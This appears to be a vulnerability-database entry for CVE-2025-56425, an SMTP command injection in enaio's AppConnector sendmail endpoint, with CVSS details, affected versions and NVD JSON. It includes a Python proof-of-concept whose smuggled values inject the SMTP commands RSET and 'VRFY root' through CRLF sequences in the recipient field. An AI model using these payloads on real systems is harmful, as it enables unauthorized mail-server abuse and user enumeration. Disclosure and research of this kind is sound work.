Security Vulnerability Report
中文
CVE-2025-56425 CVSS 9.1 CRITICAL

CVE-2025-56425

Published: 2026-01-08 17:15:48
Last Modified: 2026-01-23 02:15:57

Description

An issue was discovered in the AppConnector component version 10.10.0.183 and earlier of enaio 10.10, in the AppConnector component version 11.0.0.183 and earlier of enaio 11.0, and in the AppConnctor component version 11.10.0.183 and earlier of enaio 11.10. The vulnerability allows authenticated remote attackers to inject arbitrary SMTP commands via crafted input to the /osrest/api/organization/sendmail endpoint

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:* - VULNERABLE
enaio 10.10 AppConnector <= 10.10.0.183
enaio 11.0 AppConnector <= 11.0.0.183
enaio 11.10 AppConnector <= 11.10.0.183

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import urllib.parse # CVE-2025-56425 SMTP Command Injection PoC # Target: enaio AppConnector /osrest/api/organization/sendmail endpoint TARGET_URL = "http://target-server:50000/osrest/api/organization/sendmail" # SMTP command injection payload # Injecting RSET command to test injection capability smtp_injection_payload = { "to": "[email protected]\r\nRSET\r\n", "subject": "Test Email", "body": "This is a test message" } # Alternative payload with VRFY command to enumerate users vrify_payload = { "to": "[email protected]\r\nVRFY root\r\n", "subject": "Test", "body": "Test" } def exploit(target_url, payload, auth_token=None): headers = { "Content-Type": "application/json" } if auth_token: headers["Authorization"] = f"Bearer {auth_token}" try: response = requests.post( target_url, json=payload, headers=headers, timeout=10 ) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-56425 SMTP Command Injection Test") print("[*] Target:", TARGET_URL) exploit(TARGET_URL, smtp_injection_payload)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56425", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:47.957", "lastModified": "2026-01-23T02:15:57.013", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in the AppConnector component version 10.10.0.183 and earlier of enaio 10.10, in the AppConnector component version 11.0.0.183 and earlier of enaio 11.0, and in the AppConnctor component version 11.10.0.183 and earlier of enaio 11.10. The vulnerability allows authenticated remote attackers to inject arbitrary SMTP commands via crafted input to the /osrest/api/organization/sendmail endpoint"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-77"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.10.0.0", "versionEndExcluding": "10.10.0.183", "matchCriteriaId": "F788DEB2-E18F-4EBF-AF0B-1DC8F4A8D7C9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.0.0.0", "versionEndExcluding": "11.0.0.183", "matchCriteriaId": "0C7B7328-C113-411C-B67A-A1B0D1451BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:optimal-systems:enaio:*:*:*:*:*:*:*:*", "versionStartIncluding": "11.10.0.0", "versionEndExcluding": "11.10.0.183", "matchCriteriaId": "B2F05785-8670-4576-9DFC-6E9C44C7D634"}]}]}], "references": [{"url": "https://mind-bytes.de/smtp-injection-in-enaio-component-appconnector-cve-2025-56425/", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.optimal-systems.de/enaio", "source": "[email protected]", "tags": ["Product"]}]}}